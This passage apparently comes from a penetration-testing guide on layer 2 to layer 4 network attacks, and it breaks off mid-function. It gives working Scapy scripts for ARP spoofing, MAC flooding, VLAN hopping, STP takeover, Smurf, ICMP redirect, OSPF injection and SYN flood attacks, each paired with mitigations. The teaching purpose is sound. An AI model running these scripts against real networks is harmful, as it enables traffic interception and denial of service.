Unique identifier\n\n**Locally Administered Addresses:**\nAdministrators can override burned-in MAC addresses with locally administered addresses (second bit set to 1). This is commonly used for:\n- MAC address spoofing (privacy/security)\n- Virtual machines (unique MACs for VMs)\n- High availability configurations (floating MAC addresses)\n\n**Switches and Their Operation**\n\n**Switch Functions:**\n- **MAC Learning:** Records source MAC addresses and associated ports\n- **Forwarding:** Sends frames only to the port where destination MAC resides\n- **Filtering:** Drops frames destined for MAC addresses on the same port\n- **Flooding:** Sends frames to all ports when destination MAC unknown\n- **Aging:** Removes old MAC entries after inactivity (typically 300 seconds)\n\n**Content Addressable Memory (CAM) Table:**\nThe CAM table (also called MAC address table) stores mappings between MAC addresses and switch ports:\n```\nPort 1: MAC A, MAC B, MAC C\nPort 2: MAC D, MAC E\nPort 3: MAC F\nPort 4: (empty)\n```\n\nWhen a frame arrives, the switch:\n1. Looks up destination MAC in CAM table\n2. If found, forwards frame only to that port\n3. If not found, floods frame to all ports except source\n4. If destination MAC is on source port, drops frame\n\n**Switch Forwarding Modes:**\n- **Store-and-Forward:** Receives entire frame, checks CRC, then forwards\n- **Cut-Through:** Forwards as soon as destination MAC is read (lower latency)\n- **Fragment-Free:** Waits for collision window (64 bytes) before forwarding\n\n**VLANs (Virtual Local Area Networks)**\n\nVLANs segment switches into multiple logical switches, isolating traffic between groups:\n\n**802.1Q VLAN Tagging:**\nVLAN tags are inserted into Ethernet frames:\n- **TPID (Tag Protocol ID):** 0x8100 (indicates VLAN tag)\n- **PCP (Priority Code Point):** 3 bits for QoS (802.1p)\n- **DEI (Drop Eligible Indicator):** 1 bit for congestion management\n- **VID (VLAN ID):** 12 bits (1-4094 usable, 0 and 4095 reserved)\n\n**Trunk Ports vs Access Ports:**\n- **Access Port:** Carries traffic for single VLAN, strips tags\n- **Trunk Port:** Carries traffic for multiple VLANs, maintains tags\n- **Native VLAN:** Untagged traffic on trunk (VLAN 1 by default)\n\n**VLAN Types:**\n- **Default VLAN (VLAN 1):** All ports initially, security risk if unchanged\n- **Data VLAN:** User traffic segregation\n- **Voice VLAN:** Separate VLAN for VoIP phones\n- **Management VLAN:** Switch management access\n- **Native VLAN:** Untagged on trunks\n- **Private VLANs:** Further isolation within VLAN (isolated, community, promiscuous)\n\n**ARP (Address Resolution Protocol)**\n\nARP maps IP addresses to MAC addresses on local networks:\n\n**ARP Operation:**\n1. Host A needs to communicate with 192.168.1.2\n2. Checks ARP cache for existing mapping\n3. If not found, broadcasts ARP request: \"Who has 192.168.1.2?\"\n4. Host B sees request, sends ARP reply: \"192.168.1.2 is at 00:11:22:33:44:55\"\n5. Host A updates ARP cache and sends packets\n\n**ARP Packet Structure:**\n- **Hardware Type:** 1 for Ethernet\n- **Protocol Type:** 0x0800 for IPv4\n- **Hardware Size:** 6 (MAC address length)\n- **Protocol Size:** 4 (IPv4 address length)\n- **Opcode:** 1 = request, 2 = reply\n- **Sender MAC/IP:** Source information\n- **Target MAC/IP:** Destination information (target MAC zero in request)\n\n**ARP Cache:**\nOperating systems cache ARP entries to reduce broadcasts:\n- **Linux:** `arp -n` or `ip neigh show`\n- **Windows:** `arp -a`\n- **MacOS:** `arp -a`\n\nCache timeout varies by OS (typically 20-60 seconds for incomplete, up to 20 minutes for complete).\n\n**STP (Spanning Tree Protocol)**\n\nSTP prevents loops in redundant switch topologies:\n\n**Bridge Protocol Data Units (BPDUs):**\nSwitches exchange BPDUs to:\n- Elect root bridge (lowest bridge ID)\n- Determine shortest path to root\n- Block redundant paths to prevent loops\n\n**BPDU Types:**\n- **Configuration BPDU:** Sent by root bridge to maintain topology\n- **TCN (Topology Change Notification) BPDU:** Sent when topology changes\n\n**Port States:**\n1. **Blocking:** No forwarding, listens for BPDUs (20 sec)\n2. **Listening:** No forwarding, learns topology (15 sec)\n3. **Learning:** No forwarding, builds MAC table (15 sec)\n4. **Forwarding:** Normal operation\n5. **Disabled:** Administratively down\n\n**STP Versions:**\n- **802.1D (Classic STP):** Slow convergence (30-50 seconds)\n- **802.1w (RSTP - Rapid STP):** Faster convergence (few seconds)\n- **802.1s (MSTP - Multiple STP):** Multiple instances per VLAN\n- **PVST+ (Per-VLAN STP+):** Cisco proprietary, instance per VLAN\n\n**CDP/LLDP (Cisco Discovery Protocol/Link Layer Discovery Protocol)**\n\nThese protocols discover neighboring devices:\n\n**CDP (Cisco Proprietary):**\n- Enabled by default on Cisco devices\n- Multicasts to 01:00:0C:CC:CC:CC\n- Advertises device ID, platform, capabilities, interfaces, VLAN, etc.\n- Sent every 60 seconds, hold time 180 seconds\n\n**LLDP (IEEE 802.1AB):**\n- Vendor-neutral alternative\n- Multicasts to 01:80:C2:00:00:0E or 01:80:C2:00:00:03\n- Similar information to CDP\n- Configurable timers (default 30 seconds)\n\n**Information Leakage:**\nBoth protocols leak valuable intelligence:\n- Device models and versions\n- IP addresses and VLANs\n- Capabilities (router, switch, bridge)\n- Interface names and descriptions\n\n#### Critical Data Link Protocols for Penetration Testers\n\n**ARP Spoofing/Poisoning Attack**\n\nARP spoofing exploits the lack of authentication in ARP:\n\n**Attack Mechanics:**\n1. Attacker sends forged ARP replies to victim, claiming to be gateway\n2. Victim updates ARP cache with attacker's MAC for gateway IP\n3. Attacker sends forged ARP replies to gateway, claiming to be victim\n4. Gateway updates ARP cache with attacker's MAC for victim IP\n5. All traffic between victim and gateway passes through attacker\n\n**ARP Spoofing Implementation:**\n```python\n#!/usr/bin/env python3\n# Comprehensive ARP spoofing tool with packet forwarding\n\nfrom scapy.all import *\nimport time\nimport sys\nimport os\nimport signal\n\nclass ARPSpoofer:\n    def __init__(self, interface, target_ip, gateway_ip):\n        self.interface = interface\n        self.target_ip = target_ip\n        self.gateway_ip = gateway_ip\n        self.target_mac = None\n        self.gateway_mac = None\n        self.running = True\n        \n        # Enable IP forwarding\n        os.system(\"echo 1 &gt; /proc/sys/net/ipv4/ip_forward\")\n        \n    def get_mac(self, ip):\n        \"\"\"Get MAC address for IP\"\"\"\n        ans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=ip), \n                         timeout=2, iface=self.interface, verbose=False)\n        for sent, received in ans:\n            return received[Ether].src\n        return None\n    \n    def spoof(self):\n        \"\"\"Send ARP spoofing packets\"\"\"\n        print(f\"[+] Spoofing: {self.target_ip} -&gt; {self.gateway_ip}\")\n        \n        # Create spoofed packets\n        target_packet = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac, \n                           psrc=self.gateway_ip)\n        gateway_packet = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, \n                            psrc=self.target_ip)\n        \n        while self.running:\n            send(target_packet, iface=self.interface, verbose=False)\n            send(gateway_packet, iface=self.interface, verbose=False)\n            time.sleep(2)\n    \n    def restore(self):\n        \"\"\"Restore ARP tables\"\"\"\n        print(\"\\n[+] Restoring ARP tables...\")\n        \n        # Send correct ARP entries\n        restore_target = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac,\n                            psrc=self.gateway_ip, hwsrc=self.gateway_mac)\n        restore_gateway = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac,\n                             psrc=self.target_ip, hwsrc=self.target_mac)\n        \n        send(restore_target, count=4, iface=self.interface, verbose=False)\n        send(restore_gateway, count=4, iface=self.interface, verbose=False)\n        \n        # Disable IP forwarding\n        os.system(\"echo 0 &gt; /proc/sys/net/ipv4/ip_forward\")\n    \n    def signal_handler(self, sig, frame):\n        \"\"\"Handle Ctrl+C\"\"\"\n        print(\"\\n[!] Interrupt received\")\n        self.running = False\n        self.restore()\n        sys.exit(0)\n    \n    def run(self):\n        \"\"\"Main execution\"\"\"\n        # Get MAC addresses\n        print(\"[*] Resolving MAC addresses...\")\n        self.target_mac = self.get_mac(self.target_ip)\n        self.gateway_mac = self.get_mac(self.gateway_ip)\n        \n        if not self.target_mac or not self.gateway_mac:\n            print(\"[-] Failed to resolve MAC addresses\")\n            return\n        \n        print(f\"[+] Target MAC: {self.target_mac}\")\n        print(f\"[+] Gateway MAC: {self.gateway_mac}\")\n        \n        # Set up signal handler\n        signal.signal(signal.SIGINT, self.signal_handler)\n        \n        # Start spoofing\n        self.spoof()\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 4:\n        print(\"Usage: arpspoof.py   \")\n        sys.exit(1)\n    \n    spoofer = ARPSpoofer(sys.argv[1], sys.argv[2], sys.argv[3])\n    spoofer.run()\n```\n\n**Detection and Prevention:**\n- **Static ARP entries:** Manually configure critical systems\n- **ARP spoofing detection:** Tools like arpwatch, XArp\n- **Dynamic ARP Inspection (DAI):** Switches validate ARP packets\n- **DHCP Snooping:** Prevents rogue DHCP servers\n- **Port Security:** Limits MAC addresses per port\n\n**MAC Flooding Attack**\n\n**Attack Mechanics:**\n1. Attacker floods switch with frames containing random source MAC addresses\n2. Switch CAM table fills, can't learn new addresses\n3. Switch enters \"fail-open\" mode, flooding all frames to all ports\n4. Attacker can now see all traffic (like on a hub)\n\n**MAC Flooding Implementation:**\n```python\nfrom scapy.all import *\nimport random\n\ndef mac_flood(interface, count=10000):\n    \"\"\"Flood switch with fake MAC addresses\"\"\"\n    for i in range(count):\n        # Generate random MAC\n        mac = \"02:%02x:%02x:%02x:%02x:%02x\" % tuple(random.randint(0,255) for _ in range(5))\n        \n        # Create frame with random MAC\n        frame = Ether(src=mac, dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=\"192.168.1.%d\" % random.randint(2,254), \n                    dst=\"192.168.1.1\")/ICMP()\n        \n        sendp(frame, iface=interface, verbose=False)\n        \n        if i % 100 == 0:\n            print(f\"[+] Sent {i} frames\")\n```\n\n**Mitigation:**\n- **Port Security:** Limit MAC addresses per port\n- **MAC Flooding Detection:** Monitor CAM table size\n- **Switch Hardening:** Disable unused ports\n- **Network Segmentation:** Limit broadcast domains\n\n**VLAN Hopping Attacks**\n\n**Switch Spoofing:**\n1. Attacker configures system as a switch with trunking enabled\n2. Sends DTP (Dynamic Trunking Protocol) frames to negotiate trunk\n3. Real switch sees DTP frames and establishes trunk\n4. Attacker now has access to all VLANs on trunk\n\n**Switch Spoofing Implementation:**\n```python\nfrom scapy.all import *\nimport struct\n\n# DTP frame (simplified)\ndtp_frame = Ether(dst=\"01:00:0c:cc:cc:cc\", src=\"02:11:22:33:44:55\")/ \\\n            LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \\\n            SNAP(OUI=0x00000c, code=0x2004)/ \\\n            Raw(load=struct.pack(\"!HH\", 0x0001, 0x0001))\n\nsendp(dtp_frame, iface=\"eth0\", count=10)\n```\n\n**Double Tagging:**\n1. Attacker sends frame with two VLAN tags\n2. First switch removes outer tag (native VLAN), forwards frame\n3. Second switch sees remaining tag and forwards to target VLAN\n4. Only works when attacker on same native VLAN as trunk\n\n**Double Tagging Implementation:**\n```python\nfrom scapy.all import *\n\n# Frame with double 802.1Q tags\nframe = Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ \\\n        Dot1Q(vlan=1)/ \\  # Outer tag (native VLAN)\n        Dot1Q(vlan=10)/ \\ # Inner tag (target VLAN)\n        IP(dst=\"192.168.10.1\")/ICMP()\n\nsendp(frame, iface=\"eth0\")\n```\n\n**Mitigation:**\n- Disable DTP on access ports: `switchport nonegotiate`\n- Change native VLAN from default (VLAN 1)\n- Explicitly prune unused VLANs from trunks\n- Use VLAN access maps for filtering\n\n**CDP/LLDP Attacks**\n\n**Information Gathering:**\n```bash\n# Capture CDP packets\ntcpdump -i eth0 -v -s 1500 -c 10 'ether[20:2]==0x2000'\n\n# Parse CDP information (using Python)\nfrom scapy.all import *\n\ndef parse_cdp(pkt):\n    if pkt.haslayer(CDP):\n        cdp = pkt[CDP]\n        print(f\"Device ID: {cdp.val_deviceid if hasattr(cdp, 'val_deviceid') else 'Unknown'}\")\n        print(f\"Platform: {cdp.val_platform if hasattr(cdp, 'val_platform') else 'Unknown'}\")\n        print(f\"Addresses: {cdp.val_address if hasattr(cdp, 'val_address') else 'Unknown'}\")\n        print(f\"Port ID: {cdp.val_portid if hasattr(cdp, 'val_portid') else 'Unknown'}\")\n\nsniff(filter=\"ether dst 01:00:0c:cc:cc:cc\", prn=parse_cdp, count=10)\n```\n\n**Fake CDP Advertisement:**\n```python\n# Send fake CDP to confuse network mapping\nfake_cdp = Ether(dst=\"01:00:0c:cc:cc:cc\")/ \\\n           LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \\\n           SNAP(OUI=0x00000c, code=0x2000)/ \\\n           CDP(version=2, ttl=180, checksum=0)/ \\\n           CDPDeviceID(val=\"Fake-Router\")/ \\\n           CDPPlatform(val=\"Cisco 2901\")/ \\\n           CDPAddress(val=\"192.168.1.1\")\n\nsendp(fake_cdp, iface=\"eth0\", loop=1, inter=60)\n```\n\n**Mitigation:**\n- Disable CDP/LLDP on user-facing ports\n- Use dedicated management VLAN\n- Filter CDP/LLDP at network edge\n\n**Spanning Tree Protocol Attacks**\n\n**STP Manipulation:**\n1. Attacker sends BPDUs claiming lower bridge ID\n2. Network reconverges with attacker as root bridge\n3. Attacker sees all traffic (roots see all paths)\n4. Can also cause network instability\n\n**STP Attack Implementation:**\n```python\n# Claim to be root bridge with priority 0\nbpdu = Ether(dst=\"01:80:c2:00:00:00\")/ \\\n       LLC(dsap=0x42, ssap=0x42, ctrl=0x03)/ \\\n       STP(\n           proto=0,\n           version=0,\n           bpdutype=0x00,\n           bpduflags=0x00,\n           rootid=0,  # Priority 0 (lowest)\n           rootmac=\"02:00:00:00:00:01\",\n           cost=0,\n           bridgeid=0,\n           bridgemac=\"02:00:00:00:00:01\",\n           portid=0x8001,\n           age=0,\n           maxage=20,\n           hellotime=2,\n           fwddelay=15\n       )\n\nsendp(bpdu, iface=\"eth0\", loop=1, inter=2)\n```\n\n**Mitigation:**\n- BPDU Guard: Shut down ports receiving BPDUs\n- Root Guard: Prevent port from becoming root\n- Loop Guard: Prevent alternate/backup ports from becoming designated\n- PortFast: Immediately transition access ports to forwarding\n\n#### Data Link Layer Security Testing Checklist\n\nWhen testing layer 2 security, verify:\n\n- [ ] ARP spoofing possible? (Dynamic ARP Inspection enabled?)\n- [ ] MAC flooding successful? (Port security configured?)\n- [ ] VLAN hopping possible? (DTP disabled, native VLAN changed?)\n- [ ] CDP/LLDP enabled on access ports? (Information leakage)\n- [ ] STP attacks possible? (BPDU Guard enabled?)\n- [ ] DHCP starvation possible? (DHCP Snooping enabled?)\n- [ ] MAC address spoofing allowed? (Port security with sticky MAC?)\n- [ ] Broadcast storms possible? (Storm control configured?)\n- [ ] Private VLAN bypass techniques? (PVLAN edge security?)\n\n### Layer 3: Network Layer - IP and Routing Attacks\n\nThe network layer handles logical addressing and routing across different networks. Internet Protocol (IP) operates at this layer, along with routing protocols like OSPF, BGP, and ICMP. Understanding layer 3 vulnerabilities is essential for network penetration testing.\n\n#### Internet Protocol (IP) Fundamentals\n\n**IPv4 Packet Structure:**\n- **Version (4 bits):** 4 for IPv4\n- **IHL (4 bits):** Header length in 32-bit words (minimum 5)\n- **Type of Service (8 bits):** QoS/differentiated services\n- **Total Length (16 bits):** Entire packet length (up to 65535 bytes)\n- **Identification (16 bits):** Fragment identification\n- **Flags (3 bits):** DF (Don't Fragment), MF (More Fragments)\n- **Fragment Offset (13 bits):** Fragment position in original packet\n- **TTL (8 bits):** Time to Live (max hops)\n- **Protocol (8 bits):** Upper layer protocol (TCP=6, UDP=17, ICMP=1)\n- **Header Checksum (16 bits):** Error checking for header\n- **Source Address (32 bits):** Sender IP\n- **Destination Address (32 bits):** Receiver IP\n- **Options (variable):** Security, routing, timestamp options\n\n**IPv6 Enhancements:**\n- **128-bit addresses:** 3.4\u00d710^38 addresses\n- **Simplified header:** Fixed 40 bytes, fewer fields\n- **Extension headers:** Fragmentation, authentication, etc.\n- **No checksum:** Relies on upper layer checksums\n- **Flow labeling:** QoS without transport info\n- **Neighbor Discovery:** Replaces ARP with ICMPv6\n\n**IPv6 Address Types:**\n- **Global Unicast:** 2000::/3 (internet-routable)\n- **Unique Local:** FC00::/7 (site-local, like IPv4 private)\n- **Link-Local:** FE80::/10 (local link only)\n- **Multicast:** FF00::/8 (multicast groups)\n- **Anycast:** Multiple interfaces share address\n\n#### IP Spoofing and Source Address Validation\n\nIP packets contain source addresses that routers typically trust. By forging source IP addresses, attackers can:\n\n**Attack Scenarios:**\n1. **Bypass IP-based access controls:** Spoof trusted IP addresses\n2. **Launch reflection attacks:** Spoof victim IP as source, responses go to victim\n3. **Conceal true origin:** Hide attacker's real IP address\n4. **Impersonate trusted systems:** Pretend to be internal servers\n\n**IP Spoofing Implementation:**\n```python\nfrom scapy.all import *\nimport socket\n\ndef send_spoofed_packet(target_ip, spoofed_ip, payload):\n    \"\"\"Send packet with spoofed source IP\"\"\"\n    packet = IP(src=spoofed_ip, dst=target_ip)/TCP()/Raw(load=payload)\n    send(packet, verbose=False)\n    print(f\"[+] Sent spoofed packet from {spoofed_ip} to {target_ip}\")\n\n# Example: Spoof internal DNS server\nsend_spoofed_packet(\"192.168.1.100\", \"192.168.1.1\", \"Malicious data\")\n```\n\n**Detection and Prevention:**\n- **Ingress filtering:** Block packets with source addresses outside expected ranges\n- **Egress filtering:** Block packets with source addresses not belonging to network\n- **uRPF (Unicast Reverse Path Forwarding):** Verify source address reachability\n- **IPsec:** Authenticate packet sources cryptographically\n- **BCP 38:** Best practice for source address validation\n\n#### ICMP (Internet Control Message Protocol) Attacks\n\nICMP provides error reporting and diagnostic functions but can be weaponized:\n\n**ICMP Types and Codes:**\n- **Type 0:** Echo Reply (ping response)\n- **Type 3:** Destination Unreachable (with codes: 0=net, 1=host, 2=proto, 3=port, 4=frag needed)\n- **Type 5:** Redirect (change routing)\n- **Type 8:** Echo Request (ping)\n- **Type 11:** Time Exceeded (TTL expired)\n- **Type 13:** Timestamp Request/Reply\n- **Type 17:** Address Mask Request/Reply\n\n**ICMP Tunneling**\n\nICMP tunneling encapsulates non-ICMP traffic within ICMP packets:\n\n**How It Works:**\n1. Client encapsulates data in ICMP echo request payload\n2. Server extracts data from ICMP echo request\n3. Server sends response in ICMP echo reply payload\n4. Firewalls often allow ICMP, making this an effective covert channel\n\n**ICMP Tunneling Tools:**\n```bash\n# Using ptunnel (Ping Tunnel)\nptunnel -p  -lp  -da  -dp \n\n# Using icmptx (ICMP Tunnel)\n./icmptx -c  \n\n# Using Hans (ICMP tunneling)\nhans -v -c -p  -s  -d \n```\n\n**Detection:**\n- Unusually large ICMP packets\n- High frequency of ICMP traffic\n- Regular timing patterns\n- Non-standard ICMP payload content\n\n**Smurf Attack (ICMP Amplification)**\n\n**Attack Mechanics:**\n1. Attacker sends ICMP echo requests to network broadcast address\n2. Source IP spoofed to victim's address\n3. All devices on network respond to victim\n4. Amplification factor = number of responding hosts\n\n**Smurf Attack Implementation:**\n```python\nfrom scapy.all import *\n\ndef smurf_attack(broadcast_ip, victim_ip, count=100):\n    \"\"\"Send spoofed ICMP to broadcast address\"\"\"\n    packet = IP(src=victim_ip, dst=broadcast_ip)/ICMP()\n    send(packet, count=count, verbose=False)\n    print(f\"[+] Sent {count} spoofed pings to {broadcast_ip}\")\n```\n\n**Modern Mitigations:**\n- Disable IP-directed broadcasts on routers\n- Configure hosts to ignore broadcast pings\n- Ingress filtering prevents spoofed traffic\n\n**ICMP Redirect Attacks**\n\n**How ICMP Redirect Works:**\nWhen a router receives a packet on an interface and knows a better route out the same interface, it sends an ICMP redirect to the sender, telling them to use a different gateway for that destination.\n\n**Attack Mechanics:**\n1. Attacker sends forged ICMP redirect to victim\n2. Claims to have better route to destination\n3. Victim updates routing table\n4. Traffic now flows through attacker\n\n**ICMP Redirect Attack:**\n```python\nfrom scapy.all import *\n\ndef icmp_redirect(victim_ip, gateway_ip, target_net, attacker_ip):\n    \"\"\"Send forged ICMP redirect\"\"\"\n    # Build ICMP redirect packet\n    redirect = IP(src=gateway_ip, dst=victim_ip)/ \\\n               ICMP(type=5, code=1, gw=attacker_ip)/ \\\n               IP(src=victim_ip, dst=target_net)/ICMP()\n    \n    send(redirect, verbose=False)\n    print(f\"[+] Sent ICMP redirect: {victim_ip} -&gt; {attacker_ip} for {target_net}\")\n```\n\n**Mitigation:**\n- Disable ICMP redirect acceptance on hosts\n- Configure routers not to send redirects\n- Use static routing for critical paths\n\n#### Routing Protocol Attacks\n\n**OSPF (Open Shortest Path First) Attacks**\n\nOSPF is a link-state routing protocol used within autonomous systems:\n\n**OSPF Packet Types:**\n1. **Hello:** Discover neighbors, establish adjacencies\n2. **Database Description:** Exchange link-state summaries\n3. **Link-State Request:** Request specific LSAs\n4. **Link-State Update:** Send LSAs\n5. **Link-State Acknowledgment:** Acknowledge LSAs\n\n**OSPF Authentication:**\n- **Null:** No authentication (vulnerable)\n- **Plaintext:** Simple password (easily sniffed)\n- **MD5:** Cryptographic authentication (stronger, but MD5 weaknesses)\n\n**OSPF Attack Vectors:**\n\n**LSA Injection:**\n1. Attacker establishes OSPF adjacency with router\n2. Injects false Link State Advertisements\n3. Network routes through attacker or to wrong destinations\n4. Can cause blackholing or MITM\n\n**OSPF LSA Injection:**\n```python\nfrom scapy.all import *\nimport struct\n\n# Simplified OSPF LSA injection\nospf_lsa = IP(src=\"192.168.1.1\", dst=\"224.0.0.5\")/ \\\n           OSPF_Hdr(type=4, routerid=\"192.168.1.100\", areaid=0)/ \\\n           OSPF_LSUpd(lsacount=1)/ \\\n           OSPF_RouterLSA(id=\"192.168.2.0\", adrouter=\"192.168.1.1\", mask=\"255.255.255.0\")\n\nsend(ospf_lsa, verbose=False)\n```\n\n**OSPF Authentication Bypass:**\n- Sniff OSPF packets to capture plaintext passwords\n- Use captured MD5 hashes for replay attacks\n- Brute-force weak MD5 keys\n\n**BGP (Border Gateway Protocol) Attacks**\n\nBGP routes traffic between autonomous systems on the internet:\n\n**BGP Fundamentals:**\n- Path-vector protocol\n- Exchanges routing information between ASes\n- Uses TCP port 179\n- Routes based on path attributes\n\n**BGP Attack Vectors:**\n\n**BGP Hijacking:**\n1. Attacker announces more specific prefix (e.g., /24 instead of /16)\n2. More specific routes are preferred\n3. Traffic redirects to attacker's AS\n4. Can intercept, monitor, or blackhole traffic\n\n**Famous BGP Hijacks:**\n- **2008 Pakistan YouTube Hijack:** Pakistan Telecom announced YouTube's /22, took YouTube offline globally\n- **2018 MyEtherWallet:** DNS traffic hijacked via BGP, $150k stolen\n- **2021 Facebook Outage:** BGP withdrawals caused 6-hour global outage\n\n**BGP Route Injection:**\n```python\n# Simplified BGP UPDATE message (conceptual)\nbgp_update = {\n    'withdrawn_routes': [],\n    'path_attributes': [\n        {'type': 1, 'value': 'ORIGIN', 'data': 0},  # IGP\n        {'type': 2, 'value': 'AS_PATH', 'data': [65001]},  # AS_PATH\n        {'type': 3, 'value': 'NEXT_HOP', 'data': '192.0.2.1'},  # Next hop\n    ],\n    'nlri': [{'prefix': '203.0.113.0', 'length': 24}]  # Announced prefix\n}\n```\n\n**BGP Security Measures:**\n- **RPKI (Resource Public Key Infrastructure):** Cryptographic validation of route origins\n- **BGPsec:** Path validation using digital signatures\n- **Prefix filtering:** Filter unexpected announcements\n- **Max prefix limits:** Prevent route leaks\n\n**RIP (Routing Information Protocol) Attacks**\n\nRIP is a distance-vector routing protocol (rare but still present):\n\n**RIP Attack Vectors:**\n- **RIP v1:** No authentication, trivial to inject routes\n- **RIP v2:** Plaintext or MD5 authentication possible\n- **Route poisoning:** Inject false routes with low metrics\n- **Split horizon bypass:** Send updates back to source\n\n#### IP Fragmentation Attacks\n\nIP fragmentation can be used to evade detection:\n\n**Fragmentation Basics:**\nLarge packets are fragmented into smaller pieces:\n- Each fragment has identification, offset, and MF flag\n- Only first fragment contains full transport header\n- Fragments reassembled at destination\n\n**Fragmentation Attack Techniques:**\n\n**Tiny Fragment Attack:**\nForce first fragment to be too small to contain full transport header:\n```python\nfrom scapy.all import *\n\n# First fragment too small for TCP header\nfrag1 = IP(dst=\"target\", flags=\"MF\", frag=0)/ \\\n        Raw(load=\"GET /\")  # Only part of request\n\n# Second fragment contains rest\nfrag2 = IP(dst=\"target\", frag=1)/ \\\n        Raw(load=\"admin HTTP/1.0\\r\\n\\r\\n\")\n```\n\n**Fragment Overlap Attack:**\nCreate overlapping fragments that reassemble differently:\n```python\n# Fragment 1: \"GET /index.html\"\nfrag1 = IP(dst=\"target\", flags=\"MF\", frag=0)/Raw(load=\"GET /index.ht\")\n\n# Fragment 2: Overlapping offset, writes \"admin\" over part\nfrag2 = IP(dst=\"target\", frag=1)/Raw(load=\"adminl\")\n\n# Reassembled: \"GET /adminl\" (if overlapping handled poorly)\n```\n\n**Fragment Overlap Exploitation:**\n- Firewall sees \"GET /index.html\" in fragments\n- Target reassembles to \"GET /admin.html\"\n- Bypasses URL filtering\n\n**Mitigation:**\n- Fragment reassembly before inspection\n- Normalize overlapping fragments\n- Block fragments with non-zero offsets to unexpected ports\n\n### Layer 4: Transport Layer - TCP/UDP Deep Dive\n\nThe transport layer manages end-to-end communication, flow control, and reliability. TCP and UDP dominate this layer, and understanding their nuances is crucial for penetration testing.\n\n#### TCP (Transmission Control Protocol) Deep Dive\n\n**TCP Header Structure:**\n- **Source Port (16 bits):** Sending application port\n- **Destination Port (16 bits):** Receiving application port\n- **Sequence Number (32 bits):** Position in data stream\n- **Acknowledgment Number (32 bits):** Next expected byte (ACK set)\n- **Data Offset (4 bits):** Header length in 32-bit words\n- **Reserved (3 bits):** For future use (must be zero)\n- **Flags (9 bits):** NS, CWR, ECE, URG, ACK, PSH, RST, SYN, FIN\n- **Window Size (16 bits):** Receive window size (flow control)\n- **Checksum (16 bits):** Error detection for header and data\n- **Urgent Pointer (16 bits):** Points to urgent data (URG set)\n- **Options (variable):** Maximum segment size, window scaling, timestamps, SACK\n\n**TCP Three-Way Handshake:**\n1. **Client \u2192 Server:** SYN (seq=x)\n2. **Server \u2192 Client:** SYN-ACK (seq=y, ack=x+1)\n3. **Client \u2192 Server:** ACK (ack=y+1)\n\n**TCP State Diagram:**\n- **CLOSED:** No connection\n- **LISTEN:** Waiting for connection\n- **SYN-SENT:** Sent SYN, waiting for SYN-ACK\n- **SYN-RECEIVED:** Received SYN, sent SYN-ACK\n- **ESTABLISHED:** Connection established\n- **FIN-WAIT-1:** Sent FIN, waiting for ACK\n- **FIN-WAIT-2:** Received ACK, waiting for FIN\n- **CLOSE-WAIT:** Received FIN, sent ACK\n- **CLOSING:** Received FIN, sent FIN, waiting for ACK\n- **LAST-ACK:** Sent FIN, waiting for FIN-ACK\n- **TIME-WAIT:** Waiting for delayed packets (2\u00d7MSL)\n\n#### TCP Security Implications and Attacks\n\n**TCP SYN Flood**\n\n**Attack Mechanics:**\n1. Attacker sends many SYN packets with spoofed source IPs\n2. Server allocates resources for half-open connections\n3. Server backlog queue fills\n4. Legitimate connections cannot be established\n\n**SYN Flood Implementation:**\n```python\nfrom scapy.all import *\nimport random\n\ndef syn_flood(target_ip, target_port, count=10000):\n    \"\"\"SYN flood attack\"\"\"\n    for i in range(count):\n        # Spoofed source IP\n        src_ip = \"%d.%d.%d.%d\" % tuple(random.randint(1,255) for _ in range(4))\n        \n        # SYN packet\n        packet = IP(src=src_ip, dst=target_ip)/ \\\n                 TCP(sport=random.randint(1024,65535), dport=target_port, flags=\"S\")\n        \n        send(packet, verbose=False)\n        \n        if i % 1000 == 0:\n            print(f\"[+] Sent {i} SYN packets\")\n\n# Requires root privileges\n# syn_flood(\"192.168.1.100\", 80)\n```\n\n**SYN Flood Mitigation:**\n- **SYN Cookies:** Encode connection info in SYN-ACK sequence number\n- **SYN Cache:** Limit resources for half-open connections\n- **Increase backlog queue:** Allow more pending connections\n- **RST cookies:** Send RST for suspicious SYNs\n- **Rate limiting:** Limit SYNs per source IP\n\n**TCP Sequence Number Prediction**\n\n**Attack Mechanics:**\n1. Attacker sniffs initial sequence number from SYN-ACK\n2. Predicts next sequence number (if predictable)\n3. Forges packets that appear part of established connection\n4. Can inject data or hijack session\n\n**Predictable Sequence Number Generation:**\n- **RFC 793:** ISN = timer + connection ID (predictable)\n- **Some implementations:** ISN = constant increment (very predictable)\n- **Modern systems:** Random ISN generation\n\n**Sequence Number Prediction Attack:**\n```python\nfrom scapy.all import *\nimport time\n\ndef seq_number_prediction(target_ip, target_port, spoofed_ip, spoofed_port):\n    \"\"\"Predict sequence numbers (simplified)\"\"\"\n    # First, establish real connection to get ISN pattern\n    syn = IP(dst=target_ip)/TCP(sport=12345, dport=target_port, flags=\"S\")\n    syn_ack = sr1(syn, timeout=2)\n    \n    if syn_ack:\n        seq_num = syn_ack[TCP].seq\n        print(f\"[+] Received SYN-ACK with seq={seq_num}\")\n        \n        # In predictable systems, next ISN might be seq_num + increment\n        predicted_next = seq_num + 1000  # Guess increment\n        \n        # Send spoofed packet with predicted sequence\n        spoofed = IP(src=spoofed_ip, dst=target_ip)/ \\\n                  TCP(sport=spoofed_port, dport=target_port, \n                      seq=predicted_next, ack=syn_ack[TCP].seq + 1, flags=\"A\")/ \\\n                  Raw(load=\"Malicious data\")\n        \n        send(spoofed, verbose=False)\n        print(f\"[+] Sent spoofed packet with seq={predicted_next}\")\n```\n\n**Modern Protection:**\n- Random sequence numbers (ISN randomization)\n- TCP timestamps for additional validation\n- Cryptographic sequence numbers (TCP-AO)\n\n**TCP Session Hijacking**\n\n**Attack Mechanics:**\n1. Attacker sniffs established TCP connection\n2. Determines correct sequence numbers\n3. Injects malicious packets with correct seq/ack\n4. Can insert commands, redirect traffic\n\n**TCP Session Hijacking Implementation:**\n```python\nfrom scapy.all import *\n\ndef tcp_hijack(interface, victim_ip, victim_port, target_ip, target_port, command):\n    \"\"\"Hijack TCP session and inject command\"\"\"\n 